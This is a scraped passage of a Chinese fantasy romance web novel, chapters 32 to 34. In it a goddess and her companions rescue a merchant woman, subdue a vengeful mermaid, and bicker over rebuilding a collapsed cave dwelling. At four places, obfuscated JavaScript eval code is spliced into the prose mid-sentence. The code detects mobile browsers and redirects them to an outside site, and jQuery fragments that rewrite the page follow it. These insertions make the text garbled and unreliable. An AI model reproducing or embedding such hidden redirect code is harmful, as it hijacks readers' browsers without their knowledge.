扶西望了眼波涛汹涌的海水,叫陆眠变出一圈麻绳,一头在腰上拴紧,另一头递给了陆眠。 救人一命胜造七级浮屠,况且这人还是误打误撞闯入,凡人不宜在仙界久呆,早早送回凡间才是。 不想还不等她跳下去,献流便阔步流星而来,解开了她腰间的绳索:“你不能去。” 扶西一把抓回来:“再不去她真是要淹死了。” 他眉头一蹙,似乎又开始努力思索,片刻后三下五除二将扶西与自己捆在一处,正色道:“如此,我们一起下去。” 扶西低头看了看紧紧箍着自己和献流腰间的麻绳,心头不可避免地一跳。 “你把我捆成这样,我怎么在海里游?” 如此这般,更遑论救人。 献流却不急不躁,将另一头递给陆眠,便抬手抱起扶西往下跃。 与此同时,一团白光破开海面缓缓向上升起,隐约可见其中两个人形,模糊不清的脸庞氤氲着海水的咸腥,恰好与落下的扶西二人擦肩而过。 还好扶西眼睛尖,她立时大喊一声:“陆眠,拉我们上去——” 这一边,陆眠被献流猝不及防的跳下甲板弄得满头雾水,好在他眼疾手快立时将绳索拴在了船舷上。 听见扶西喊声,他立刻抬手,扶西二人便甩着半截冷嗖嗖的海水从海面上弹了起来,砰的一声落在甲板上。 可以偏偏两人被献流捆在一处,落地时滑了两下,不曾站稳便重重摔在地上,骨碌碌滚了三四圈才停下来。 扶西望着身下的献流,他眼神一如既往的明亮,多是些不合时宜的懵懂和清澈。 她艰难地直起上半身,挣开一点空间抬手去解绳索,腰酸得要命,献流却不知死活地抬手按住了扶西的后脑勺。 这人又要发什么疯? 下一刻,他把扶西按在了自己胸前。 鼻尖触到献流衣襟,凉嗖嗖的,扶西莫名其妙,立时直起上半身,却又被他按回去。 他道:“别动。” 扶西蹙起眉头:“你又发病了,我们还是起来说话。” 献流不解:“你上次就是这么对我的,为何你能对我做,我不能对你做?”他说着说着,语气里含了几分焦急。 什么上次下次,你对我我对你。 扶西懒得与他纠缠:“陆眠施法。” 陆眠用手扶住额头,只道眼不见为净,指尖微动,两人身上的绳索立刻松开。 扶西腰间没了束缚,她就势滚了一圈,将将要爬起来,目光中却扎进两个交叠的人影。 一只满身光华流转的男鲛跪坐在地,眉眼微垂,长睫扑闪,被海水洇湿的银色长发丝滑地垂在地上,他眼神近乎迷恋地盯着躺在地上的女人,缓缓垂下头去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086420|146870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 下一刻,两人的唇又触在一起。 扶西抬手捂住眼睛,被扎似的弹起来,后退一大步。 献流却歪着脑袋凑过去,越凑越近,一双眼睛一眨不眨,紧紧盯着,不肯松动半分。 “你们在干什么?”他问出来。 男鲛闻言睁开眼睛,嘴唇还贴在女子的下唇上,被吓了一大跳。 他直起上半身,神色尴尬,偏头去看他,说话的声音有些颤抖:“她呛水晕过去了,我给她渡气。” 献流摆摆手,连忙道:“不对不对,她呛了水,呼吸困难,你这样堵上去,不是害了她吗?” 男鲛愣神半晌,手指渐渐蜷缩起来:“那,那该怎么办?” 献流站起来,掌间运气,重重向女子胸前打去。 …… 他有些疑惑地收回手掌,自言自语道:“怎么不管用?” 扶西上前一把将他推开,笑眯眯朝男鲛望过去,这一看,可把她看呆了。 这男人看上去不过十五六岁的少年模样,皮肤白皙,神色懵懂,颊边还有若隐若现的鳞片,银白的发丝在月色下熠熠生辉,五彩斑斓的鱼尾也夺不去他面容上的艳色。 一副绝佳的皮囊。 扶西脑子里居然不受控制地将献流与此人比较一番,惊奇地发现献流不知什么时候,竟悄悄变惊艳了许多。 尤其是比起刚掉进扶西山的时候。 “那该怎么办?”他朱唇轻启,“她似乎快不行了。” 扶西回过神来,立刻道:“你挪开些,我来。” 言罢她挪到男鲛原先呆的地方,将女人的头侧向一边,双手交叠,比划一番,在女人胸前有节奏地按了起来。 不多时,女人呕出几口水,缓缓睁开了眼睛。 映入眼帘的是一张年轻的面孔,略有些瘦削的脸颊,眉目飞扬,眼睛里盛着惊喜。 还好不是方才那个鲛人。 “是你,是你救了我……”她气息微弱,“我是扬州程家的,恩人留下姓名,日后必有重谢。”她捂着胸口咳嗽起来。 扶西连忙将她扶起来:“是他救了你。” 程衣顺着扶西的手望过去,果然见到了水底的那张脸,她先是被惊艳了一番,又立刻回过神来,这鲛人要吃她! 不对不对,要吃早吃了。 她费力地站直,朝着蹲在地上的男鲛行了个礼:“大恩大德,无以言谢,可我,实在不知你要什么?” 男鲛望了眼自己的尾巴,他上岸太久,有些呼吸不畅了:“不必,是我自己要救你。” 程衣有些悔恨自己方才在海底的挣扎,又为自己的成见鞠了个躬:“多谢。” 他动了动尾巴,望向海面,似乎是打算要跳下去。 程衣惊呼一声:“你的尾巴!”她自己都还站不稳,便火急火燎地扑过去,“怎么出了那么多血。” 她这一说,众人才发现,这男鲛的尾巴上有个拳头大的血窟窿,此刻他身下的血迹都快洇进地板里了。 男鲛唇色苍白,语气也逐渐弱了下去:“估计,估计是方才……” 不及说完,他便晕了过去。 32. 硬邦邦的腹肌 献流追出去,只看到他尾巴留下的一点零星痕迹。 扶西上来就喊给我追也于事无补,她急得直在原地转了两圈,才想起来找献流算账。 扶西踮起脚尖,一把揪住献流衣领,嘴皮子都是颤抖的:“他方才给你灌了什么迷魂汤?”扶西一双眼睛在献流身上来回四五躺,满腹怀疑道,“你们两个该不会是一伙的吧!” 献流虽觉后悔,神色却超乎寻常地淡定,他语气坚定:“他没有给我灌迷魂汤,他只是变成了你的样子,我才被骗的。”献流不慌不忙地将扶西紧绷的手指一个个掰开,“我和他也不是一伙的,你信我。” 见他如此一本正经,扶西反倒不好追究什么,只觉得心头憋闷,难受的紧,偏偏此时耳边竟传来那只鲛人得意洋洋的笑声。 “你别怪他了,他这不是因为想你吗?” 居然还没走远,世上竟有如此嚣张的妖孽,都快骑到她头上了,扶西再忍不了这口气,朝声音来处张望了一会儿,忽觉不对劲。 遭了,他们一行人都往这里来,那凡人女子正被孤零零地留在桑树上,这只鲛人挣脱束缚却不逃跑,估计是等着救他同伙呢。 扶西拍拍脑袋,又马不停蹄地赶回去。 桑树下的女子已消失得无影无踪,扶西顿住脚步,耳边即刻传来呼救之声,微弱细小,不仔细听还听不出来。 “救命,神仙救我!”伴随着重重的浪花声,程衣从海中艰难地露出半个头来,“救,救我......” 扶西打眼望去,果真见那只男鲛悬在海面上,长甲锋利的手指紧紧箍住程衣的脑袋,他唇角微微上扬,看程衣的眼神中没有半分难忍,倒有些看热闹的意味。 “你给我住手!”扶西大喝一声。 不知为何,这男鲛看起来并不畏惧扶西神仙的身份,另一只手摊开掌心,光芒闪过,珠钗显现。 他望着熠熠生辉的珠子,咬牙切齿,又看向程衣痛苦的面容:“船上所有的人我都杀了,不必谢我。” 程衣迷茫而痛苦地与他对视,眼睛里的情绪从不解到翻涌,最后生出无边的寒意。 她只是出海捞点珍珠卖,怎么又遇到妖怪,又遇到神仙的。 “仙子救我!” 扶西咬牙切齿:“放了她!” “若是我不愿呢?” 扶西看着这个恶劣的不速之客,开始在手边寻找起趁手的物件,搜寻半晌,献流把自己的手递了过来。 掌心相合,热意传来,扶西不解地看上去,只见献流面目宁静,好似胸有成竹。 扶西心叹,真不知他又在搞什么鬼。 “我来。” 他阔步上去,朝着海边的两人抬起手心。 男鲛不解地看着,他虽只是只妖,可实力尚可,若说对付那几个稀稀拉拉的小仙也勉强,可面前这个高大的男人尤其神秘,阵势还大。 他想了想,揪起水里的程衣快速朝天边飞去。 自然走为上策。 “无定何在!” 天空立时电闪雷鸣,乌云滚滚。 扶西歪头,不是,怎么还来? “他们都跑了!”扶西急得团团转,可莫明在看到献流那张镇定的脸时平静不少。 她怎么还肯信这小贼呢? 话音刚落,只行了几丈距离的男鲛的身体又开始热意涌动,金色光芒跃动间,整个人以极快的速度朝扶西山飞去。 “啊——” “刷——” 有如利剑破开长风的声音,献流长腿一扫,旋身过后面无表情地握住男鲛的尾巴,重重将他往身侧一挥。 那鲛人即刻就挣扎起来,他惊恐地睁大了眼睛,却在触到献流飞眼过来的威胁僵住了身子。 他脑中如烟花炸开,这是什么人,他究竟对自己做了什么?! 献流却并不理会鲛人的任何举动,反而轻轻松松将握着他的尾巴将他整个身体横贯于眼前,两指虚虚地从尾巴划到头顶。 这下,这鲛人再也动不了了。 程衣滚到地上,终究是福大命大,她伏着身子咳水,回想自己半生从未如此狼狈,向来坚强的掌柜也忍不住轻轻啜泣起来。 扶西才将她扶起来,便看到扶西将“一条笔直的鲛人”像握剑似的放在身侧,不免被吓了一跳。 “你,你对他做了什么?” 献流忽然将身侧的鲛人一挥,头顶直对扶西的脸,他声音里带了些雀跃和激动:“此乃我随身佩剑,无定是也。” 话毕,扶西并着其他人下巴都快掉地上了。 献流却并未察觉不妥,反而一把拉过扶西的手放到鲛人的腹肌上:“剑身由千年玄铁所制,是我到昆仑雪山亲自取来的。”他将扶西的手重重按下去,“你看,是不是很坚硬。” 扶西的嘴唇都快抿烂了,这小妖的身材确实不错,腹肌硬邦邦的。 于是她眼睛眨得飞快,点了点头。 献流露出笑意:“是吧。” 言罢他又抬着自己的“剑”走向众人,叫他们一一品鉴。 陆眠犹豫半晌,猝不及防地被十一拉了一把,也感受了下。 他扁扁嘴,也就比他好一点罢了。 献流握着鲛人挽了个剑花,又凑到扶西旁边,拉过她的手:“你弹一弹这里,此剑柄乃是由师父赠我的蓬山白玉所制,时刻有淡淡的暖意,冬日练剑也不冻手。”言罢他将鲛人的脑壳递到扶西面前,“你弹一弹,那声音,如冬日泉水。” 扶西看着那鲛人生无可恋的菜绿色面庞,竟忽然感叹起来,太好了,献流这傻子发昏终于不是逮着她嚯嚯了。 扶西撸起袖子,今日她可被这小妖气死了,她调整手势,将手臂高高举起,重重弹下。 砰的一声,鲛人的脑门立时红了一片。 他压低眉眼,愤愤地看过来,扶西与他对视在一处,想了想,叫来旁边的程衣。 “来,你也试试。” 程衣在脚边顺手捞起一根木棍,哈了两口气,重重挥了下去。 “啊——” 鲛人痛呼出声,却不得解脱。 献流却有些疑惑:“是我的剑在叫吗?”他抬起来,细细观察起来。 扶西忙道:“没没没,你听错了。” 献流重重点头,又十分宝贝地将“他的剑”抬到另外几个人面前,一一弹过,脑海里想的居然是白日丢光的脸面或许能挣回来一些。 扶西见男鲛吃瘪,已经笑得快站不住了,她捂着肚子滚在地上,滚了两圈又和十一滚在一处。 献流见她笑,嘴角也不自觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14120814|146870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地带上笑意。 他忽然想起从前师父曾给他示范的一套剑法。 从前他望着师父翻飞的衣角配上彩色的剑穗,一时间眼花缭乱,不知该看人,还是看剑了。 “怎么样?会了吗?” 献流点点头:“会了。” “不错不错,看一遍就会了,不愧是天赋卓绝啊。”师父收剑入鞘,步伐轻盈,拍了拍他肩膀,“去吧,舞给你师妹看去。” 献流不解:“师父此套剑法,攻击力量不足,也不适于防守,教与师妹无益。”他顿了顿,还是鼓足勇气说了心里话,“这不是剑术,这是舞蹈。” 天君被他气得嘴歪,只抬着手戳他脑门:“你真是根木头,爱舞不舞,我还不乐意教呢。” 献流当时不解,舞这些做什么,在敌人面前舞完这一式,人家的刀已经将自己劈成两半了。 “你很开心吗?”他忍不住来到扶西面前询问。 扶西泪花挂在眼角,看到献流身侧那条僵直的“剑”,笑得愈发开怀了。 “开心,开心啊!” 献流微微一笑:“那我让你更开心。” 不等扶西回应,他便忽然腾空而起,依着从前的记忆挥动着手里的宝剑。 纷纷扬扬的落叶被鲛人的脑袋和头发扫起来,漫天飞舞,献流的身躯好似灵活的蝶,旋转定身,不多时竟像是与落叶合为一体般。 他身形如游龙,转动的手腕带着鲛人的银发飞舞,犹如剑穗,月光勾勒出献流挺拔的身形,他在持剑的空档里分出神来看扶西。 只见她眉眼弯弯,坐在地上似乎已经看呆了。 “刷——”献流出剑,收势,行云流水。 扶西的笑容逐渐凝住,她忽然发现,献流确实舞得极好,即便他手里的剑是个僵硬的鲛人,尤其是鱼尾上的鳞片映着皎洁的月光,在献流脸上光辉无两。 扶西晃了晃脑袋,抬手触了触脸颊,她真是魔怔了。 献流手中长人挥舞,最后他半跪在地,将鲛人脑袋重重插进土里。 有点难戳进去,他又用了几分力,最后才整理好表情望向扶西。 扶西愣了愣,立马从地上爬起来,毫不吝啬地夸奖起来:“真不错,真好看!”她一面看着献流笑,一面将手贼溜溜地摸到献流握着鱼尾的手上。 献流感受到手背上一闪而过的触感,忽而有些说不上来的感觉。 下一刻,扶西把他的手拿了过来,好言相劝:“今夜累了,不如歇息吧。” 他懵懂地点头,最后缓缓站起。 扶西立刻招呼小侯十一过来,几人齐齐抓住鲛人的鱼尾,将他从土里拔出来。 只见他满脸泥污,丧眉搭眼,精致的面庞已经被风吹得嘴歪眼斜,尤其是那一头如海藻般银发,已经乱成了鸡窝。 几人将他放平在地上。 扶西虽烦他,可也不想闹出妖命。 “我,我要死了吗?”他有气无力,口吐白沫。 扶西帮他拍身上的泥:“没呢,别急,还早呢。” 他沮丧到了极点,闭着眼睛再不说话。 十一肩膀颤抖得厉害。 扶西不解地绕到她那边,在看到鲛人头顶那个光溜溜的圆圈时,再也忍不住了! 这鲛,秃了! 33. 叫他知道什么是人心险恶 几人合力将这只男鲛紧紧捆住,见他脖颈上的腮一张一合,又大发善心地将他放进水桶。 缓了片刻,他终于缓缓张开眼睛:“要杀要剐,悉听尊便!”他看上去已经力竭,不想再过多纠缠,狼狈不堪的脸上满是泥污,早已失了刚掉下来时的精致。 扶西却道:“我们还要审你呢。姓甚名谁,家住何方,是怎么跑到我山里来的?” 男鲛并不想理会,反而猛然抬眼,直直望向扶西,眸中跃动着蓝色的光芒,他唇角分开一点:“山君,你想听吗?” 扶西晃了晃脑袋,眸中闪过奇异的色彩,陆眠立刻意识到不对劲,出声:“山君别看他!” 献流比陆眠的声音先行一步,他朝前迈了一步,用宽阔的身躯切断两人的对视,还十分自觉地抬手捂住了扶西的眼睛:“你不许看他。” 扶西眼睛眨巴两下,怎么说的,她有一瞬间觉得献流说话怪怪的,可这种感觉立刻就被她压了下去。 短暂地失神后扶西记起自己的正事:“小妖,你怎么这么不安分?我又没说打打杀杀,只是你们终究闯了祸,弥补一番怎么也不为过吧。” 不等男鲛回答,献流便铿锵有力地附和起来:“自然不为过。” 男鲛嗫嚅两下:“你要我怎么弥补?” 扶西双手抱胸:“你还没回答我的问题。” 男鲛扁了扁嘴:“怀信,鲛人一族,现居无定所。” 想到这会儿怀信应当安分不少,扶西抬手拿开献流的手,绕过他的身体,大胆地同怀信对视:“还有呢?” 他立刻剧烈地挣扎起来:“我不知道!我真的不知道!我还在海上,就莫名其妙飞来了,真不是故意的!”他思索半晌,脑袋想破了想不明白,干脆用下巴对着角落里瑟瑟发抖的程衣,“是她,一定是她!” 程衣这会儿是什么都想起来了,她也不明白自己刚上岸那会儿怎么还会将怀信认作救命恩人,先前莫名消失的记忆涌上心头,她不由得打了个冷战:“你胡说,我不过是个手无寸铁的凡人,如何能操控你。” 怀信愤愤不平,将目光移至一直对他虎视眈眈的献流,冒着又被当成剑耍的风险道:“那就是你!”他转向扶西,“山君,明明是他,是他将我带到这里来的。”他说着说着,尾音颤抖起来,还带了点哭腔,他抿抿唇,可怜巴巴地望向扶西。 扶西的目光在二人身上游移,将来龙去脉细细梳理一番,忽然觉得这小妖说的还真有可能是,她和陆眠十一对视,两人不约而同地点了点头。 见到扶西逐渐松动的眼睛,献流立刻生出不满来,他马不停蹄地上前捂住扶西的眼睛:“鲛人最善魅惑之术,你一定是被他蛊惑了。”他这句话也不知是说给扶西还是说给自己听的,末了还加一句,“对,一定是这样的。” 扶西纤长的羽睫扫过献流的掌心,与方才一样的痒意阵阵袭来,他心惊了惊,却并不打算放手。 怀信咬牙切齿地望着献流,心头想从前一样缓慢地滋生出许多恶意,终有一天他要狠狠报复回去,他想。 “山君......”怀信又将语气放软了不少,“我已将来龙去脉都说了,你就信我吧,你说要怎么补偿,我都行!”说到后面,他又开始有些激动了。 “山君不可轻信,他方才对我的杀心众人皆可见!”程衣终于利索地讲出一句话,胸膛因激动剧烈地起伏着。 不等众人出言阻止,他又开始自说自话。 “我并非生来就有一颗险恶的心,从前同母亲和族人一起生活,也算其乐融融,可后来,我母亲被人间的凡人术士捆去,耗尽心力性命,被他们夺得一颗鲛珠。”他转向程衣,目光中饱含恨意,“我杀你,是因为你有罪!” 程衣想起那支成色极好的珠钗,似乎明白了什么,她嘴唇颤抖:“我,我只是买了一颗珍珠罢了。” 怀信哈哈大笑起来,笑到眼角都含了泪珠;“一颗珍珠罢了?”他又开始剧烈地挣扎起来,吓得本就缩在角落的程衣连连后退。 “就是因为有你们这些贪慕虚荣的凡人,才会有源源不断的商船驶进东海,抓走我的族人,你们和方士狼狈为奸。”他紧咬着牙,“都该死!” 程衣握着衣角,捂住心口,弱弱地望过去,半晌终于吐出一句:“抱歉,我,我以为只是蚌壳里采出来的珠子。”她鼓足勇气缓缓上前,“钗子你带回去留个念想,我,我也答应你,从今以后再也不用鲛珠,哦,不,我再也不用珍珠了!”言罢她一把抓住怀信被捆住的腰身,嚎哭起来,“你千万,千万别杀我了啊!” 怀信略有惊异地看过去,不对,他还没哭上呢?这人怎么抢他的戏。 不行! 他又酝酿了一会儿:“山君,你看在我身世如此凄惨的份上,放了我吧,我保证从此不再作恶,一定与人为善。”他的尾音黏黏糊糊的,柔柔弱弱,“若族人与母亲在天上见了,一定会感恩山君义举,我确实不是故意,山君,您大人有大量,不要再与我计较了。” 献流见此情形,又回想起在人间时那薛介花言巧语就将扶西骗得团团转,他必须提醒,防止扶西重蹈覆辙:“莫忘了人间那只丑不拉几的黑蜘蛛,他当时也是这么哭哭啼啼,嚎了两嗓子你便信了。”他顿了会儿,“我召唤的,是我的佩剑无定,不是鲛人怀信。” 陆眠道:“山君其实也不必过多苛责,这怀信虽为妖类,但也是为了为母报仇。” 十一叉腰:“这不对,程姑娘又不是杀害她母亲的凶手,他有仇不找凶手,一而再再而三地谋杀个手无缚鸡之力的弱女子,算什么男人!” 陆眠不好意思地笑笑:“对,还是十一说的有道理。” 小侯却凑到扶西旁边:“丑不拉几的黑蜘蛛是谁啊?也在山中吗?听闻人间边塞蜘蛛也能做成美味佳肴。” 扶西只觉得脑袋都快炸了,耳旁嗡嗡响声不断,时而是程衣的苦苦哀求,时而是怀信哭唧唧的求饶,和献流带着几分不满的告诫和傻乎乎小仙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14144464|146870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们的三言两语。 她深吸一口气,大喝一声:“都给我住口!” 她这一声悠远而漫长,周遭众人闻言静下来后,她的声音还在山中久久回荡,半晌不歇,扶西忽而有些不好意思。 她扒开献流捂着自己眼睛的手,不理会他有些失落的神情,来到怀信旁边,望向他有些诧异又迷茫的眼睛:“行,我没什么好计较的,你留下来修好我的洞府就能走。” 怀信的舌头悄悄在尖锐的牙齿上滚过一圈,这才微笑看着扶西,满眼的大恩大德不言谢:“山君,你真好。” 程衣摸了摸颊边的眼泪:“我,我也干。”她平日在家里十指不沾阳春水,做过最重的活估计就是到店铺里巡查时帮路过的伙计装模作样托一下重物的底。 献流见此情形,也不知哪里哪里不舒服了,干脆利落地转身,走得气鼓鼓的。 “山君,现在能把我松开了吗?”怀信试探道。 扶西大手一挥,松了他的绑。 身上紧紧实实压迫感立即全部散去,怀信鲜红的舌头犹如蛇信子一般舔舐过尖牙,便以迅雷不及掩耳之速抓起旁边不明所以的程衣,用尽力气嗖的一下向高空飞去。 临走时,他还是和之前一样的得意洋洋:“山君,后会无期了!” 扶西看上去却是一点也不着急的模样,她咧嘴笑着,习惯性地拐了拐胳臂肘:“你,快点无定何在啊。” ...... 没有回应。 扶西这才发现,献流不知何时已经从她身边走开了,她目光焦急地搜寻着献流的身影,正好看到他立在镇山石下,似乎正若有所思地望着上头的字。 扶西立马跑过去拉他手臂:“你快啊,快来一个无定何在!”言罢她学着献流的模样并拢两指,朝着天空重重一指,“无定何在!” 没反应。 扶西催促他:“快啊,叫他们知道什么是人心险恶!” 献流却像闹脾气一样背过身去:“他说话太恶心,不回来也好。” “哎呀,洞府塌成这样,不叫他们回来修,那我可就要叫你了。”扶西好言相劝,半诱半威胁。 献流却像吃了秤砣,铁了心不应下。 扶西咬牙切齿,面上保持着淡淡的微笑:“他们回来了,保证不叫他们开口说话。” “真不叫他讲话了?” “嗯嗯!”扶西点头如捣蒜。 献流勉为其难地同意了,朝着天空一指,便是极有信念感的一句,“无定何在!” 霎时间电闪雷鸣,乌云涌动。 “刷——” 金光过后,怀信带着程衣再次冲向扶西的洞府,将本就是废墟的房间砸得更加稀烂。 他放开程衣,没来得及拍拍灰便直起上半身,不等扶西过来发话,就装作无事发生一样拾起块胳膊长的石头。 他望着夜色下的洞府感叹:“哎呀呀,坏成这样,不如我今夜便开始修补吧,山君你看如何。” 34. 性感露背美男 洞府又被砸烂,扶西熟门熟路地摸到桑树上,捡了个合适的枝丫,有了上次的教训,她先在上头颠了两下,确保牢固可靠,这才躺下。 还不等睡安稳,背后又传来一阵热意,枝条缓缓下压,隐约可闻咯吱声响。 她认命地叹了口气,缓缓睁开眼睛,不等身旁的献流彻底躺下,便立刻出言警告:“你要是敢躺下来,后面一整个月都不得踏出山洞半步。” 旁边那窸窸窣窣的动作果然顿住了,取而代之的是献流嘟囔的声音:“我修不动了,不如你陪我一起吧。” “若有你在,我也没那么无聊。” 说来也怪,从前他从不觉修行寂寞,只怕有人打扰,如今竟用无聊二字形容起来。 他晃晃脑袋,只觉得里头事情太多捋不过来,累得很。 “我?”扶西竟真的思索起来,话说自从因真身被吃,她很久没有好好修炼了,此前在人间为渡仙气还尝试了一番,可她的身体如今像个四面漏风的球,躺平吸收的日月精华没一缕呆得住的,好似从她头顶到脚底走了一遭,刷的一下又出去了。 见她迟疑,献流还以为扶西答应下来,十分快速地将手揣进袖子里,又小心翼翼躺下来。 “停!” 献流动作又顿住。 扶西彻底清醒过来,她缓缓从枝丫上小心翼翼地坐起:“你瞧瞧,这里像是能躺下两个人的样子吗?” 平日里在床榻上她倒是能忍则忍了,可这枝条还没她脊背宽,哪里睡得下两个人。 献流面容沉静,五官岿然不动,似乎又在思考,片刻后他露出一丝笑意:“我有办法。” 扶西蹙眉:“什么办……” 话音未落,献流竟又自作主张将她从枝条上拎了起来,以极快的速度将两人交换了位置。 扶西脑子还没反应过来,嘴巴已经开始数落了:“好你个胆大包天的,居然敢……。” 献流抬眼看她,露出个鲜少出现的咧嘴笑,脑海中不免觉得扶西总是这样,每次嘴里说的威胁似乎都不作数,她此刻的模样倒有些像只炸毛的刺猬。 扶西见献流笑出来,心中愈发愤懑,这家伙怎么能这么没皮没脸,她咬咬牙,不就是树枝,她大人有大量,让给他了。 谁想扶西的腿才动了一下,后颈忽然被献流干燥温暖的手掌揽住,她不明所以地望过去,下一刻,整个人就被他压到了胸膛上。 他在扶西头顶吐息:“嗯,这样就好了,我做你的榻,你睡我吧。” 明明鼻尖只是被轻轻碰了下,扶西却觉得脑瓜子嗡嗡的,过了一小会儿,脸颊居然不受控制地烫起来。 她一双手僵硬地垂在献流身侧,实在不知道该放哪儿。 献流极有眼色地裹住她手掌,将扶西两只手挂在自己的肩膀上,终于心满意足地阖上眼睛:“好了,可以睡觉了。” 扶西耳边传来献流极有节律的心跳,对了,这儿是他的心脏。 一定是感受到真身的召唤,她才会觉得脸颊如此干热,剖析完情况,扶西也心安理得地放松下来,人肉垫子,不睡白不睡。 “咔——咔——” “刺啦——” 扶西才酝酿到点的睡意全然消失,她猛然睁开眼睛,却又是来不及了。 枝条年老,根本无法承受两个人的重量。 “啊——” 哐当一下摔到地上的时候,扶西又一次重重地撞到献流硬邦邦的胸膛上,她吃痛哎呦了两下,转身才发现陆眠十一小侯还有那两个不速之客,皆靠在树下睡觉。 这会儿都被他们吵醒了。 陆眠迷蒙间只来得及捂住十一惺忪的睡眼。 他扁了扁嘴。 只见扶西起身,两条腿正跨在献流腰侧,她揉着腰想站起来,却又因脚麻又摔了一跤,再次摔回了献流胸膛上。 陆眠又扁扁嘴,山君真是色中饿鬼,房子塌了,在树上也要强迫人家。 唉! 献流也懵得很,只觉得脑袋隐隐作痛,一再被击,他见扶西又扑下来,便顺手捞过她的后脑勺,在原地翻了个身,背对众人,迷迷糊糊将她搂进自己怀里:“睡,睡了,不然会从树上掉下来。” “不知道为什么,后背有点冷……” 扶西被他大臂箍着,又忍不住咬牙了,这人都没感觉的吗?不知道自己已经掉下来了? 小侯凑到陆眠旁边:“他为何光着背,我记得睡前他背上是有布料的啊……” 陆眠推了推他凑过来的脑袋:“山君的事,我们少管。” 小侯蹙眉,这人穿露背衣裳,怎么是山君的事呢? * 天光大亮,扶西慢悠悠地从地上起身,她望向旁边空荡荡的位置,见怪不怪。 程衣已经十分自觉地早起开始搬砖了,见扶西过来,还特别自觉上前,下意识地招呼起旁边的怀信。 “愣着干什么?快去给山君倒杯水啊。”说完她微笑着望向扶西,又指了指塌了大半的洞府,“山君,我看这里都塌成这样了,再修缮不过是个漂亮的山洞罢了。” 扶西重重点头,这程衣真是说到她心坎上了:“话说我确实有意重建,只是……”她望了眼自己的掌心,波澜不惊的身体,半点儿仙气都没有。 要是从前,从前她就…… 好汉不提当年勇,扶西放下了手。 程衣敏锐地捕捉到她表情的变化:“山君不急,我在家乡也督办过此类的事务,从前建聚景斋旗下的酒楼,图纸、营造、装修我都是要一一过目的。”她说完笑了笑,“幸而从前我也和家中的老匠学过一点皮毛,山君若不嫌弃,我给画张图纸,你瞧瞧哪种喜欢,可好?” 正在此时,怀信慢腾腾地挪过来,单手递给扶西一杯水,程衣撇了撇嘴,立刻截了个胡,双手呈给扶西。 扶西目瞪口呆地接过来,一饮而尽:“程娘子,你随意安排就好,我都行。” 程衣愣了愣:“都行?” 她纵横四海,商行遍地,哪一回遇到的客人不是指指点点,吹毛求疵,竟不曾见过如扶西这般随意的,一下子弄得她不知如何下手。 “山君有喜欢的屋子样式吗?这屋子你打算几个人住?每人一间房,还是……”她抿抿唇,“还是做一间大的,你们中有人要两人一间房。” 扶西思索了会,十一和小侯已然成婚,这两个自然要住间大的,可这又犯难了,之前还说要陆眠做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14192661|146870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小,后头事多繁杂,一再搁置。 这小的,要住哪呢? 扶西凑过去:“倘若,我是说倘若啊,一对夫妻,加一个,怎么住呢?” 怀信虽早就摸回去搬石头了,可听到这里,仍旧忍不住竖起耳朵。 程衣愣了愣,脑子飞速地过起来:“可以大的那间旁边放个小的房间,两间共用的墙上开个暗门,往来便宜,又私密。” 扶西咧嘴笑开:“程娘子,你果然厉害,那些事就交给你啦,我这山里恰好有纸笔,等我去刨出来给你。” “行啊,山君只管放心。”程衣目送扶西走到废墟旁边,见她要搬开那些沙土,又即刻跟上去帮忙。 中途还不忘扯一扯在旁边默默抬石头的怀信:“怎么能让山君自己去翻,快快,一起来帮忙。” 怀信立直,扒开她的手,有气无力道:“我可没说要给她盖大房子,你自己许下的承诺,别拉上我。” 程衣恨铁不成钢:“山君因为我们砸了她山洞气得不行,要是房子建得好,早早离开不好吗?”她思忖一会儿,竟没忍住朝着怀信吐露心声,“俗话说,天上一天,地上一年,我再不快些离开,回到人间家业都成飞灰了!” 言罢她忙不迭跟上去帮忙。 等刨到纸笔,程衣又回来找怀信,想着他自己搬了这许久的石头,应当是累坏了。 果不其然,他整个人此刻正靠着一块足有人高的石头小憩,精致的面庞映着半截日光,透露着不知是苍白还是白皙的面色。 